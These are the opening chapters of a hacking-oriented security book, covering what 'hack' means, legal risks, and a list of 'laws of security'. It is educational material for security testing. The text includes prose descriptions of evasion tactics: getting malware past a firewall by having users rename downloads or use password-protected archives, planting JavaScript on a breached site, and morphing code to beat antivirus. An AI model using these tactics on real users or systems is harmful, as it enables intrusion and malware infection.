Hack Proofing Your Network

[mic64]

Introduction
This book is intended to teach skills that will be useful for breaking into computers.
If that statement shocks you, then you probably aren’t familiar with the
legitimate reasons for hacking.These reasons can be security testing, consumer
advocacy and civil rights, military interests, and “hacktivist” politics; however, in
this book, we’re just going to cover the techniques rather than the reasons.
The use of the word “hack” in the title of this book and throughout its pages
is deliberate.We’re aware that this word means several different things to different
people, so we’ll explain that in this chapter.We’ll also explain how the book is
organized and what you might expect for the skill levels necessary to understand
the techniques we write about.This chapter will also take a look at what the current
climate is in regards to hacking, reverse-engineering, copy protection, and
the law.We wouldn’t want to hand you a new toy without telling you about all
the trouble you could get yourself into.
What We Mean by “Hack”
When I was a kid, the online world (as far as I knew) consisted of bulletin board
systems (BBSs). On many a BBS, there were text files with a variation on the title
of “How to Hack.” Nearly all of these files were useless, containing advice like
“try these default passwords,” or “press Ctrl-C, and see if it will break out.”
Calling this chapter “How to Hack” is my perverse way of paying homage to
such text files.They were my inspiration—my inspiration to write a decent set of
instructions on how to hack.
So what do we mean by hack? We mean bypassing security measures on computer
systems and networks.We also use the word hack as a noun to describe a
clever or quick program.The thing is, in real life (in news stories, conversations,
mailing lists, and so on) people will use the word hack or hacker without clarifying
what they mean by it.You have to be able to tell their perspective from the context
or reading between the lines.This book is no different. In addition, the
authors sometimes use terms like script kiddie to mean something related to or
derived from one of the meanings of hacker. If you don’t like the term that is
being used for the activity in question, then the authors of this book would like
to cordially invite you to mentally substitute a word you do like, and pretend that
we wrote down the one you would have chosen.
If you really want to read a philosophical discussion about the word, then
please check out the Syngress Solutions Web site, and download an electronic
www.syngress.com
www.syngress.com
copy of the book’s first edition. Chapter 1 in that edition is titled “Politics,” and
in it, I go on and on about different meanings of the word hacker. In this edition I
have spared you the discussion, and if you go out of your way to find the old
one, then don’t say I didn’t warn you.
Oh, and we’re hoping to avoid the usage of “hack” that means “bad writer.”
Why Hack?
As to why someone would want to know how to do this stuff, again I direct you
to the same first-edition source (with the long discussion about “hacker”) if you
want to hear the long version of all the reasons.The short version is: The best
defense is a good offense. In other words, the only way to stop a hacker is to think
like one—after all, if you don’t hack your systems, who will? These phrases sound
trite but they embody the philosophy that we, the authors, feel is the best way to
keep our own systems safe (or those of our employer, or customers, and so forth).
How To Hack • Chapter 1 3
“We Don’t Hire Hackers”
You may have heard various security companies make claims that they
“don’t hire hackers.” Obviously, the implication here is that they mean
criminals—reformed, current, or otherwise. The basic reason is that
some people will refuse to do business with them if they are known to
employ such individuals, figuring that the criminal can’t be trusted with
the security of customers’ systems. In reality, this is just based on principle.
Some folks don’t want to see criminal hackers get anything resembling
a reward for their illegal activities.
In some cases, companies feel that the opposite rationale applies:
If the criminal in question has any amount of fame (or infamy) then they
will likely get some press for hiring them. For this to have a positive
effect depends on their business model, of course—if you’re talking
about a managed services company, folks might be hesitant, but less so
if the company performs penetration tests.
Overall, it’s a mixed bag. Of course, the one question that hackers
have for the companies who “don’t hire hackers” is: “How would you
know?”
Notes from the Underground…
4 Chapter 1 • How To Hack
We feel that in order to tell how an attacker will perceive our defenses, we
must be able to play the role of an attacker ourselves. Does this mean that in
informing you of these techniques, we are also informing the bad guys? Sure.We
believe in a level playing field, where all parties have the same techniques available
to them.Anyway, how do you even tell the good guys and bad guys apart?
Knowing What To Expect
in the Rest of This Book
Now that we’ve put the “how” and “why” to rest, let’s talk about what is in the
rest of this book.The beginner, intermediate, and advanced ratings for each chapter
refer to how much background you need for a given chapter.
The three chapters of this book that follow this one are intended provide a
little theoretical background. Chapter 2 explores our list of laws that govern how
security works (or doesn’t).You’ll see how these laws can be applied to hacking
techniques throughout the rest of the book. Chapter 3 describes types of attacks
and how serious the potential damage is, and provides examples of each type.
Chapter 4 describes the various methodologies that someone (such as yourself)
might employ to go about discovering security problems.The first four chapters
of this book should be suitable for readers of all skill levels.Advanced readers
might want to skip these chapters if they’ve already got the theory down, but we
ask that you at least skim the text and make sure there isn’t something new to
you there.The “Solutions Fast Track” sections are good for this.
We launch into the hacking techniques starting with Chapter 5. Chapter 5
covers the simplest hacking technique there is—diffing—which is simply comparing
code before and after some action has taken place. It’s surprisingly useful.
This chapter is suitable for beginners.
Chapter 6 is about cryptography and the various means that exist for keeping
information hidden or private. It investigates the amateurish cryptography
attempts that we see in use in the world almost every day.We teach you how to
recognize, and begin to break, very simple cryptographic-like encoding schemes.
This chapter is beginner to intermediate (there is some introductory material for
readers with little experience in the subject).
Chapter 7 is about security problems caused by programs failing to properly
deal with unexpected user input.This covers things like hacking a server through
a faulty CGI program, getting SQL access through a Web form, or tricking scripts
into giving up a shell. (Technically, buffer overflows and format string holes also
www.syngress.com
How To Hack • Chapter 1 5
fall under the heading of unexpected input, but they get their own chapters.)
This chapter is intermediate to advanced, due to discussions of multiple programming
languages, and the need to understand shell behavior.
Chapters 8 and 9 teach how to write machine-language exploits to take
advantage of buffer overflow and format string holes.These chapters are for
advanced readers, but we did our very best to make sure the topics were
approachable from the ground up. Some C and assembly knowledge is required.
Chapter 10 describes the monitoring of network communications—sniffing—
for hacking purposes. It shows some simple usage, describes from which protocols
you can best obtain passwords, and even some basic sniffer programming.This
chapter is beginner to intermediate.
Chapter 11 introduces the topic of hijacking connections. Most of the time,
this is an extension of sniffing, except now you will be acting as an active participant.
The chapter also covers man-in-the-middle attacks. It is an intermediatelevel
discussion.
Chapter 12 discusses the concept of trust, and how to subvert it by spoofing.
This chapter discusses a number of potential attacks, and is intermediate to
advanced.
Chapter 13 covers tunneling mechanisms for getting your traffic through
unfriendly network environments (securely, to boot). It has heavy coverage of
SSH and is intermediate to advanced.
Chapter 14 is about hardware hacking.This is where the bits meet the
molecules.This chapter covers the basics of how to hack hardware for the purpose
of gaining a security advantage (think ripping secrets out of a secure device
the hard way). It’s a beginner chapter, but actually implementing the techniques
will be advanced.
Chapter 15 covers viruses,Trojan horses, and worms—not only what they are
and how they work, but also what some of the design decisions are, the various
techniques they use, and what to expect in the future.This is an intermediatelevel
chapter.
Chapter 16 explores the way intrusion detection systems can be evaded, or
made to miss an attack. It covers tricks that are effective from the network layer
through application layers, and includes topics such as fragments, and exploit
polymorphism. It’s intermediate to advanced (you will need to know TCP/IP
fairly well).
Chapter 17 discusses how to automate some of your tasks with the help of
automated security review and attack tools (after we’ve taught you how to do
them all manually, of course). It covers commercial and freeware tools. It provides
www.syngress.com
6 Chapter 1 • How To Hack
a nice preview of the next generation of tools that will not only determine vulnerability,
but will go on to fully break into a system and leverage it as a
jumping-off point.
Last, but not least, in Chapter 18 we tell you how to go about reporting your
security problem after you find it. Never let it be said that we don’t encourage
responsible disclosure.
Understanding the
Current Legal Climate
I Am Not A Lawyer (IANAL):This translates roughly to “I can’t really give you
any relevant legal advice, and you really shouldn’t take any advice from me. If you
do, don’t say I didn’t tell you not to. However, I’m going to force my opinion on
you anyway.”
This book will teach you techniques that, if used in the wrong way, will get
you in trouble with the law. Me saying this is like a driving instructor saying,“I’m
going to teach you how to drive; if you drive badly, you might run someone
over.” In both cases, any harm done would be your fault.
I use a very simple rule:“Do I have permission to do this to this machine?” If
the answer is no, don’t do it. It’s wrong, and almost certainly illegal. Now, if you
want things to be more complicated, there are all kinds of exceptions and so on.
For example, in most places (no, not in yours, go ask a lawyer) port scanning is
legal. It’s considered fairly intrusive and hostile, but it’s legal—except where it’s not.
The simplest way to be safe used to be to do all your own hacking on your
own network (and I mean your network at home, not at your employer’s, because
you can get in trouble that way, too).You want to hack something that runs on
Sun Sparc hardware? Go buy an old Sparc for $100 on eBay.You want to hack a
multi-million dollar mainframe? Well, you’re probably out of luck there, sorry.
One would tend to assume that it would be completely safe to perform hacks
on your own equipment.Well, unfortunately, that’s not strictly true, not if you’re
attacking someone else’s software. Many people think like I do, which is that if
I’ve bought a copy of a program, I’ve got a natural right to do whatever I like
with it on my own computer. Intellectual property laws disagree. In the United
States, and by treaty in many other countries, it is illegal to circumvent a copy
protection mechanism that is intended to protect copyrighted material.This is
part of the Digital Millennium Copyright Act (DMCA.) Technically, it’s illegal to
even do this in the privacy of your own home, but if you do, and keep it to
www.syngress.com
How To Hack • Chapter 1 7
yourself, it seems unlikely that you’ll have a problem. If you try to tell other
people, though, watch out.
As a safety warning, I’d like to share the extreme case of what can happen
with these new laws. It involves a Russian software company, ElcomSoft Co.Ltd.,
that produces software that can do things like crack passwords, remove copy protection,
and recover mangled files. Keep in mind that there is no law against
reverse engineering in Russia. One of ElcomSoft’s programmers, Dmitry
Sklyarov, came to DEF CON 9 in Las Vegas, and gave a presentation on Adobe’s
eBook document format.The format contains some laughable security attempts.
The next day, Dmitry was arrested on his way home and charged with “distributing
a product designed to circumvent copyright protection measures.”This
referred to his company’s product, which converted the eBook format into regular
Adobe Acrobat .PDF files. Performing such a conversion by a buyer of one
of these eBooks for themselves is (or, I guess, used to be) legal:You are (or were)
permitted to make backups.
To make a long story short, Dmitry was arrested on July 17, 2001 and was
finally able to go home on December 31, 2001. Adobe had dropped their complaint,
due to protests outside of their offices, but the U.S. government refused to
drop their case.As it stands, Dmitry is still not off the hook entirely.
By all reports, the techniques that he needed to figure out the “security” of
the product were relatively simple.We cover decryption techniques of this nature
in Chapter 6.
Please be careful with the information you learn here.
www.syngress.com
8 Chapter 1 • How To Hack
Summary
We mean for this book to teach you the dirty details of how to find and exploit
security holes, using techniques such as sniffing, session hijacking, spoofing,
breaking cryptographic schemes, evading IDSs, and even hardware hacking.This
is not a book about security design, policies, architecture, risk management, or
planning. If you thought it was, then somehow you got spoofed.
All holes that are discovered should be published. Publicly reporting bugs
benefits everyone—including yourself, as it may bestow some recognition.
You should learn to hack because you need to know how to protect your
network or that of your employer.You should also learn to hack because it’s fun.
If you don’t agree with anything I’ve said in this chapter, or anything we say in
this book, then great! The first thing hackers should be able to do is think for
themselves.There’s no reason you should believe anything we tell you without
investigating it for yourself. If you’d like to correct me, then go to the Solutions
Web site for the book (www.syngress.com/solutions), locate my e-mail address,
and e-mail me. Perhaps I’ll put your rebuttal up on the site.
Q: Should I adopt the title “hacker” for myself?
A: There’s two ways to look at this: One, screw what everyone else thinks, if you
want to be a hacker, call yourself a hacker.Two, if you call yourself a hacker,
then people are going to have a wide variety of reactions to you, owing to
the ambiguity and large number of definitions for the word “hacker.” Some
folks will think you just told them you’re a criminal. Some folks who think
themselves hackers will insult you if they think you lack a proper skill level.
Some won’t know what to think, but will then ask you if you could break
into something for them… My advice is to build your skills first, and practice
your craft. Ideally, let someone else bestow the title on you.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.
How To Hack • Chapter 1 9
Q: Is it legal to write viruses,Trojans, or worms?
A: Technically (in most places), yes. For now.That statement deserves some
serious qualification.There are a number of virus authors who operate in the
open, and share their work. So far, they seem to be unmolested. However,
should one of these pieces of code get loose in the wild, and get significant
attention from the media, then all bets are off. If you write viruses, be careful
not to release them.You may also want to limit how well they spread as well,
just as a precaution. At this point, it’s unclear what might happen to you if
someone “extends” your work and releases it. Also pay attention to whether
posting such material is against the policy of your Internet service provider,
especially if you’re a student. It may not be illegal, but could easily get you
kicked off your ISP, fired, or expelled.
Q: Is there any problem with hacking systems that you’re responsible for?
A: In general, if you’re authorized, no. Please take note of the if.When in doubt,
get an okay in writing from the entity that owns the systems, such as a school
or employer. Lots and lots of people who are responsible for the security of
their systems hack them regularly.There is the occasional problem though,
such as the example you can read at www.lightlink.com/spacenka/fors.

[mic64]

Chapter 2 • The Laws of Security
Introduction
One of the shortcuts that security researchers use in discovering vulnerabilities is
a mental list of observable behaviors that tells them something about the security
of the system they are examining. If they can observe a particular behavior, it is a
good indication that the system has a trait that they would consider to be insecure,
even before they have a chance to perform detailed tests.
We call our list the Laws of Security.These laws are guidelines that you can use
to keep an eye out for security problems while reviewing or designing a system.
The system in this case might be a single software program, or it could be an
entire network of computers, including firewalls, filtering gateways, and virus
scanners.Whether defending or attacking such a system, it is important to understand
where the weak points are.
The Laws of Security will identify the weak points and allow you to focus
your research on the most easily attackable areas.This chapter concerns itself with
familiarizing you with these laws. For the most part, the rest of the book is concerned
with providing detailed methods for exploiting the weaknesses that the
laws expose.
If you are already experienced in information security, you could skip this
chapter. However, we recommend that you at least skim the list of laws to make
sure that you know them all, and decide if you know how to spot them and
whether you agree with them.
Knowing the Laws of Security
As we begin to work with the laws of security, we’ll start with a look at the laws
that we have worked with and will discuss during the course of the book.We’ll
discuss their implications and how to use them to discover weakness and
exploitable problems.The laws of security in our list include:
 Client-side security doesn’t work.
 You cannot securely exchange encryption keys without a shared piece of
information.
 Malicious code cannot be 100 percent protected against.
 Any malicious code can be completely morphed to bypass signature
detection.
 Firewalls cannot protect you 100 percent from attack.
www.syngress.com
www.syngress.com
 Any intrusion detection system (IDS) can be evaded.
 Secret cryptographic algorithms are not secure.
 If a key isn’t required, you do not have encryption—you have encoding.
 Passwords cannot be securely stored on the client unless there is another
password to protect them.
 In order for a system to begin to be considered secure, it must undergo
an independent security audit.
 Security through obscurity does not work.
There are a number of different ways to look at security laws. In this chapter,
we’ve decided to focus on theory, or laws that are a bit closer to a mathematical
rule. (At least, as close as we can get to that type of rule. Subjects as complex as
these don’t lend themselves to formal proofs.) There’s another way to build a list
of laws: we could make a list of not what is possible, but what is practical. Naturally,
there would be some overlap—if it’s not possible, it’s also not practical. Scott
Culp,Microsoft’s Security Response Center Manager, produced a top-ten list of
laws from the point of view of his job and his customers. He calls these “The Ten
Immutable Laws of Security.”They are:
 Law #1: If a bad guy can persuade you to run his program on your
computer, it’s not your computer anymore.
 Law #2: If a bad guy can alter the operating system on your computer,
it’s not your computer anymore.
 Law #3: If a bad guy has unrestricted physical access to your computer,
it’s not your computer anymore.
 Law #4: If you allow a bad guy to upload programs to your Web site, it’s
not your Web site any more.
 Law #5:Weak passwords trump strong security.
 Law #6: A machine is only as secure as the administrator is trustworthy.
 Law #7: Encrypted data is only as secure as the decryption key.
 Law #8: An out-of-date virus scanner is only marginally better than no
virus scanner at all.
 Law #9: Absolute anonymity isn’t practical, in real life or on the Web.
 Law #10:Technology is not a panacea.
The Laws of Security • Chapter 2 13
14 Chapter 2 • The Laws of Security
The full list (with explanations for what each rule means) can be found at
http://www.microsoft.com/technet/col...mlaws.asp.This list is presented
to illustrate another way of looking at the topic, from a defender’s point of
view. For the most part, you will find that these laws are the other side of the
coin for the ones we will explore.
Before we can work with the laws to discover potential problems, we need to
have a working definition of what the laws are. In the following sections, we’ll
look at the laws and what they mean to us in our efforts to secure our networks
and systems.
Client-Side Security Doesn’t Work
In the first of our laws, we need to define a couple of concepts in regard to security.
What, exactly, are we talking about when we begin to discuss “client-side?” If
we were in a network (client-server) environment, we would define the client as
the machine initiating a request for service and connection, and the server as the
machine waiting for the request for service or connection or the machine able to
provide the service.The term “client-side” in the network is used to refer to the
computer that represents the client end, that over which the user (or the attacker)
has control.The difference in usage in our law is that we call it client-side even if
no network or server is involved.Thus, we refer to “client-side” security even
when we’re talking about just one computer with a piece of software on a floppy
disk.The main distinction in this definition is the idea that users (or attackers)
have control over their own computers and can do what they like with them.
Now that we have defined what “client-side” is, what is “client-side security?”
Client-side security is some sort of security mechanism that is being
enforced solely on the client.This may be the case even when a server is involved,
as in a traditional client-server arrangement. Alternately, it may be a piece of software
running on your computer that tries to prevent you from doing something
in particular.
The basic problem with client-side security is that the person sitting physically in front of
the client has absolute control over it. Scott Culp’s Law #3 illustrates this in a more
simplistic fashion: If a bad guy has unrestricted physical access to your computer, it’s not
your computer anymore. The subtleties of this may take some contemplation to fully
grasp.You cannot design a client-side security mechanism that users cannot eventually
defeat, should they choose to do so. At best, you can make it challenging or
difficult to defeat the mechanism.The problem is that because most software and
hardware is mass-produced, one dedicated person who figures it out can generally
www.syngress.com
The Laws of Security • Chapter 2 15
tell everyone else in the world, and often will do so. Consider a software package
that tries to limit its use in some way.What tools does an attacker have at his or
her disposal? He or she can make use of debuggers, disassemblers, hex editors,
operating system modification, and monitoring systems, not to mention unlimited
copies of the software.
What if the software detects that it has been modified? Remove the portion
that detects modification.What if the software hides information somewhere on
the computer? The monitoring mechanisms will ferret that out immediately. Is
there such a thing as tamper-proof hardware? No. If an attacker can spend unlimited
time and resources attacking your hardware package, any tamper proofing
will eventually give way.This is especially true of mass-produced items.We can,
therefore, generally say that client-side security doesn’t work.
NOTE
This law is utilized in Chapters 5 and 14.
You Cannot Securely Exchange
Encryption Keys without a
Shared Piece of Information
Although this law may seem obvious if you have worked with encryption, it presents
a unique challenge in the protection of our identities, data, and information
exchange procedures.There is a basic problem with trying to set up encrypted
communications: exchanging session keys securely.These keys are exchanged
between the client and server machines prior to the exchange of data, and are
essential to the process. (See Chapter 6 for more information.)
To illustrate this, let’s look at setting up an encrypted connection across the
Internet.Your computer is running the nifty new CryptoX product, and so is the
computer you’re supposed to connect to.You have the IP address of the other
computer.You type it in and hit Connect.The software informs you that it has
connected, exchanged keys, and now you’re communicating securely using 1024-
bit encryption. Should you trust it? Unless there has been some significant crypto
infrastructure set up behind it (and we’ll explain what that means later in this
www.syngress.com
16 Chapter 2 • The Laws of Security
chapter), you shouldn’t. It’s not impossible, and not necessarily even difficult, to
hijack IP connections. (See Chapter 11.)
The problem here is how do you know what computer you exchanged keys
with? It might have been the computer you wanted. It might have been an
attacker who was waiting for you to make the attempt, and who pretended to be
the IP address you were trying to reach.The only way you could tell for certain
would be if both computers had a piece of information that could be used to
verify the identity of the other end. How do we accomplish this? A couple of
methods come to mind. First, we could use the public keys available through certification
authorities that are made available by Web browser providers. Second,
we could use Secure Sockets Layer (SSL) authentication, or a shared secret key.
All of these, of course, are shared pieces of information required to verify the
sender of the information.
This boils down to a question of key management, and we’ll examine some
questions about the process. How do the keys get to where they are needed?
Does the key distribution path provide a path for an attacker waiting to launch a
man-in-the-middle (MITM) attack? How much would that cost in terms of
resources in relation to what the information is worth? Is a trusted person
helping with the key exchange? Can the trusted person be attacked? What
methods are used to exchange the keys, and are they vulnerable?
Let’s look at a couple of ways that keys are distributed and exchanged.When
encryption keys are exchanged, some bit of information is required to make sure
they are being exchanged with the right party and not falling victim to a MITM
attack. Providing proof of this is difficult, since it’s tantamount to proving the null
hypothesis, meaning in this case that we’d probably have to show every possible
key exchange protocol that could ever be invented, and then prove that they are
all individually vulnerable to MITM attacks.
As with many attacks, it may be most effective to rely on the fact that people
don’t typically follow good security advice, or the fact that the encryption end
points are usually weaker than the encryption itself.
Let’s look at a bit of documentation on how to exchange public keys to give
us a view of one way that the key exchanges are handled: www.cisco.com/
univercd/cc/td/doc/product/software/ios113ed/113ed_cr/secur_c/scprt4/
scencryp.htm#xtocid211509.
This is a document from Cisco Systems, Inc. that describes, among other
things, how to exchange Digital Signature Standard (DSS) keys. DSS is a
public/private key standard that Cisco uses for peer router authentication.
Public/private key crypto is usually considered too slow for real-time encryption,
www.syngress.com
The Laws of Security • Chapter 2 17
so it’s used to exchange symmetric session keys (such as DES or 3DES keys).
DES is the Data Encryption Standard, the U.S. government standard encryption
algorithm, adopted in the 1970s. 3DES is a stronger version of it that links
together three separate DES operations, for double or triple strength, depending
on how it’s done. In order for all of this to work, each router has to have the
right public key for the other router. If a MITM attack is taking place and the
attacker is able to fool each router into accepting one of his public keys instead,
then he knows all the session keys and can monitor any of the traffic.
Cisco recognizes this need, and goes so far as to say that you “must verbally
verify” the public keys.Their document outlines a scenario in which there are
two router administrators, each with a secure link to the router (perhaps a terminal
physically attached to the console), who are on the phone with each other.
During the process of key exchange, they are to read the key they’ve received to
the other admin.The security in this scenario comes from the assumptions that
the two administrators recognize each other’s voices, and that it’s very difficult to
fake someone else’s voice.
If the administrators know each other well, and each can ask questions the
other can answer, and they’re both logged on to the consoles of the router, and
no one has compromised the routers, then this is secure, unless there is a flaw in
the crypto.
We’re not going to attempt to teach you how to mimic someone else’s voice,
nor are we going to cover taking over phone company switches to reroute calls
for administrators who don’t know each other. Rather, we’ll attack the assumption
that there are two administrators and that a secure configuration mechanism
is used.
One would suspect that, contrary to Cisco’s documentation, most Cisco router
key exchanges are done by one administrator using two Telnet windows. If this is
the case and the attacker is able to play man-in-the-middle and hijack the Telnet
windows and key exchange, then he can subvert the encrypted communications.
Finally, let’s cover the endpoints. Security is no stronger than the weakest
links. If the routers in our example can be broken into and the private keys
recovered, then none of the MITM attacking is necessary. At present, it appears
that Cisco does a decent job of protecting the private keys; they cannot be
viewed normally by even legitimate administrators.They are, however, stored in
memory. Someone who wanted to physically disassemble the router and use a
circuit probe of some sort could easily recover the private key. Also, while there
hasn’t been any public research into buffer overflows and the like in Cisco’s IOS,
www.syngress.com
18 Chapter 2 • The Laws of Security
I’m sure there will be someday. A couple of past attacks have certainly indicated
that such buffer overflows exist.
Another way to handle the exchange is through the use of SSL and your
browser. In the normal exchange of information, if you weren’t asked for any
information, then the crypto must be broken. How, then, does SSL work? When
you go to a “secure”Web page, you don’t have to provide anything. Does that
mean SSL is a scam? No—a piece of information has indeed been shared: the
root certificate authority’s public key.Whenever you download browser software,
it comes with several certificates already embedded in the installer.These certifi-
cates constitute the bit of information required to makes things “secure.”Yes,
there was an opportunity for a MITM attack when you downloaded the file. If
someone were to muck with the file while it was on the server you downloaded
it from or while it was in transit to your computer, all your SSL traffic could theoretically
be compromised.
SSL is particularly interesting, as it’s one of the best implementations of massmarket
crypto as far as handling keys and such. Of course, it is not without its
problems. If you’re interested in the technical details of how SSL works, check
here: www.rsasecurity.com/standards/ssl/index.html.
NOTE
This law is utilized in Chapter 6.
Malicious Code Cannot Be
100 Percent Protected against
During the last couple of years, we have seen more and more attacks using weaknesses
in operating systems and application code to gain entrance to our systems.
Recently, we’ve seen a number of programs that were quickly modified and redeployed
on the Internet and have resulted in widespread disruption of service and
loss of data.Why is this? It is because we can’t protect 100 percent against malicious
code when it changes as rapidly as it does now.We’ll take a look at some
examples of this in the following section and discuss the anti-virus protection
process as an example.
www.syngress.com
The Laws of Security • Chapter 2 19
If, like most people, you run a Windows-based operating system (and perhaps
even if you have something else), you run anti-virus software. Perhaps you’re even
diligent about keeping your virus definitions up to date.Are you completely protected
against viruses? Of course not.
Let’s examine what viruses and Trojans are, and how they find their way onto
your computer.Viruses and Trojans are simply programs, each of which has a particular
characteristic.Viruses replicate and require other programs to attach themselves
to.Trojans pretend to have a different function than the one they actually
have. Basically, they are programs that the programmer designed to do something
you generally would not want to have happen if you were aware of their function.
These programs usually get onto your computer through some sort of
trickery.They pretend to be something else, they’re attached to a program you
wanted, or they arrive on media you inserted without knowing it was infected.
They can also be placed by a remote attacker who has already compromised your
security.
How does anti-virus software work? Before program execution can take
place, the anti-virus software will scan the program or media for “bad things,”
which usually consist of viruses,Trojans, and even a few potential hacker tools.
Keep in mind, though, that your anti-virus software vendor is the sole determiner
of what to check for, unless you take the time to develop your own signature
files. Signature files are the meat of most anti-virus programs.They usually consist
of pieces of code or binary data that are (you hope) unique to a particular virus
or Trojan.Therefore, if you get a virus that does not appear in the database, your
anti-virus software cannot help you.
So why is the process so slow? In order to produce a signature file, an antivirus
vendor has to get a copy of the virus or Trojan, analyze it, produce a signature,
update the signature file (and sometimes the anti-virus program too) and
publish the update. Finally, the end user has to retrieve and apply the update.As
you might imagine, there can be some significant delays in getting new virus
information to end users, and until they get it they are vulnerable.
You cannot blindly run any program or download any attachment simply
because you run anti-virus software. Not so long ago, anti-virus software could
usually be relied upon, because viruses propagated so slowly, relying on people to
move them about via diskettes or shared programs. Now, since so many computers
connect to the Internet, that connectivity has become a very attractive carrier
for viruses.They spread via Web pages, e-mail and downloads. Chances are
much greater now that you will see a new virus before your anti-virus software
vendor does. And don’t forget that a custom virus or Trojan may be written
www.syngress.com
20 Chapter 2 • The Laws of Security
specifically to target you at any time. Under those circumstances, your anti-virus
software will never save you.
Since we have a whole chapter on Trojans and viruses in this book, I will not
go into a lot of detail here about how viruses might be written, or how to trick
people into running Trojans. Rather, by way of demonstration I’d like to tell my
favorite virus story. In April 2000, we saw the introduction of the “I Love You”
virus via the Internet.This was another of the virus worms running in conjunction
with Microsoft’s Outlook e-mail program, and had far greater impact
because it sent itself to all of the e-mail recipients in the address book rather than
just the first fifty, as did the earlier “Melissa” virus. However, despite the efforts of
anti-virus vendors and others to contain the virus, it spread rapidly and spawned
a number of copycat viruses in the short time after it was introduced.Why
couldn’t it be contained more quickly? In the case of a number of my clients, it
was because there were far too many employees who couldn’t resist finding out
who loved them so much! Containment is not always the province of your security
or implementations of protective software.
Trojans and viruses actually could be protected against completely by users modifying
their behavior.They probably wouldn’t get much done with a computer,
though.They’d have to install only software obtained directly from a trusted vendor
(however one would go about determining that.There have been several instances
of commercial products shipping with viruses on the media).They’d probably have
to forgo the use of a network and never exchange information with anyone else.
And, of course, the computer would have to be physically secure.
NOTE
This law is utilized in Chapter 15.
Any Malicious Code Can Be Completely
Morphed to Bypass Signature Detection
This law is fairly new to our discussions of security, and it has become much
more prevalent over the past year. It is a new truth, since the attackers now have
the ability to change the existing virus/Trojan/remote control application nearly
as soon as it is released in the wild.This leads to the discussion of the new
www.syngress.com
The Laws of Security • Chapter 2 21
problem—variants. If we continue the discussion with the anti-virus example,
we’ll find that if there is even a slight change in the virus code, there’s a chance
that the anti-virus software won’t be able to spot it any longer.These problems
used to be much less troublesome. Sure, someone had to get infected first, and
their systems were down, but chances were good it wouldn’t be you. By the time
it made its way around to you, your anti-virus vendor had a copy to play with,
and you’d updated your files.
This is no longer the case.The most recent set of viruses propagate much,
much more quickly. Many of them use e-mail to ship themselves between users.
Some even pretend to be you, and use a crude form of social engineering to
trick your friends into running them.This year, we have seen the evidence of this
over and over as the various versions of the Code Red virus were propagated
throughout the world. As you recall, the original version was time and date functional,
with a programmed attack at a U.S. government agency’s Web site. It was
modified successfully by a number of different individuals, and led to a proliferation
of attacks that took some time to overcome.Why was this so successful? The
possibilities for change are endless, and the methods numerous. For instance, you
can modify the original code to create a new code signature, compress the file,
encrypt the file, protect it with a password, or otherwise modify it to help escape
detection.This allows you to move past the virus scanners, firewalls, and IDS systems,
because it is a new signature that is not yet recognized as a threat.
NOTE
This law is utilized in Chapters 15 and 16.
www.syngress.com
Want to Check that Firewall?
There are an incredible number of freeware tools available to you for
beginning your checks of vulnerability. Basic tools, of course, include the
basic Transmission Control Protocol/Internet Protocol (TCP/IP) tools
included with the protocol: ping, tracert, pathping, Telnet, and nslookup
Tools & Traps…
Continued
22 Chapter 2 • The Laws of Security
Firewalls Cannot Protect
You 100 Percent from Attack
Firewalls can protect a network from certain types of attacks, and they provide
some useful logging. However, much like anti-virus software, firewalls will never
provide 100 percent protection. In fact, they often provide much less than that.
First of all, even if a firewall were 100 percent effective at stopping all attacks
that tried to pass through it, one has to realize that not all avenues of attack go
through the firewall. Malicious employees, physical security, modems, and infected
floppies are all still threats, just to name a few. For purposes of this discussion,
we’ll leave threats that don’t pass through the firewall alone.
Firewalls are devices and/or software designed to selectively separate two or
more networks.They are designed to permit some types of traffic while denying
others.What they permit or deny is usually under the control of the person who
manages the firewall.What is permitted or denied should reflect a written security
policy that exists somewhere within the organization.
As long as something is allowed through, there is potential for attack. For
example, most firewalls permit some sort of Web access, either from the inside
out or to Web servers being protected by the firewall.The simplest of these is
port filtering, which can be done by a router with access lists. A simple and basic
filter for Internet Control Message Protocol (ICMP) traffic blocking it at the
outside interface will stop responses from your system to another when an outsider
pings your interface. If you want to see this condition, ping or use tracert
on www.microsoft.com.You’ll time out on the connection. Is Microsoft down?
Hardly—they just block ICMP traffic, among other things, in their defense setup.
www.syngress.com
can all give you a quick look at vulnerabilities. Along with these, I have
a couple of favorites that allow for quick probes and checks of information
about various IP addresses:
 SuperScan, from Foundstone Corporation:
www.foundstone.com/knowledge/free_tools.html (click on
SCANNER).
 Sam Spade, from SamSpade.org: www.samspade.org.
These two tools, among many other very functional tools, will allow
you to at least see some of the vulnerabilities that may exist where
you are.
The Laws of Security • Chapter 2 23
There are a few levels of protection a firewall can give for Web access. Simply
configure the router to allow inside hosts to reach any machine on the Internet
at TCP port 80, and any machine on the Internet to send replies from port 80 to
any inside machine.A more careful firewall may actually understand the
Hypertext Transfer Protocol (HTTP), perhaps only allowing legal HTTP commands.
It may be able to compare the site being visited against a list of notallowed
sites. It might be able to hand over any files being downloaded to a
virus-scanning program to check.
Let’s look at the most paranoid example of an HTTP firewall.You’ll be the
firewall administrator.You’ve configured the firewall to allow only legal HTTP
commands.You’re allowing your users to visit a list of only 20 approved sites.
You’ve configured your firewall to strip out Java, JavaScript, and ActiveX.You’ve
configured the firewall to allow only retrieving HTML, .gif, and .jpg files.
Can your users sitting behind your firewall still get into trouble? Of course
they can. I’ll be the evil hacker (or perhaps the security-ignorant Webmaster)
trying to get my software through your firewall. How do I get around the fact
that you only allow certain file types? I put up a Web page that tells your users to
right-click on a .jpg to download it and then rename it to evil.exe once it’s on
their hard drive. How do I get past the anti-virus software? Instead of telling your
users to rename the file to .exe, I tell them to rename it to .zip, and unzip it using
the password “hacker.” Your anti-virus software will never be able to check my
password-protected zip file. But that’s okay, right? You won’t let your users get to
my site anyway. No problem. All I have to do is break into one of your approved
sites. However, instead of the usual obvious defacement, I leave it as is, with the
small addition of a little JavaScript. By the time anyone notices that it has had a
subtle change, I’ll be in.
Won’t the firewall vendors fix these problems? Possibly, but there will be
others.The hackers and firewall vendors are playing a never-ending game of
catch-up. Since the firewall vendors have to wait for the hackers to produce a
new attack before they can fix it, they will always be behind.
On various firewall mailing lists, there have been many philosophical debates
about exactly which parts of a network security perimeter comprise “the firewall,”
but those discussions are not of use for our immediate purposes. For our
purposes, firewalls are the commercial products sold as firewalls, various pieces of
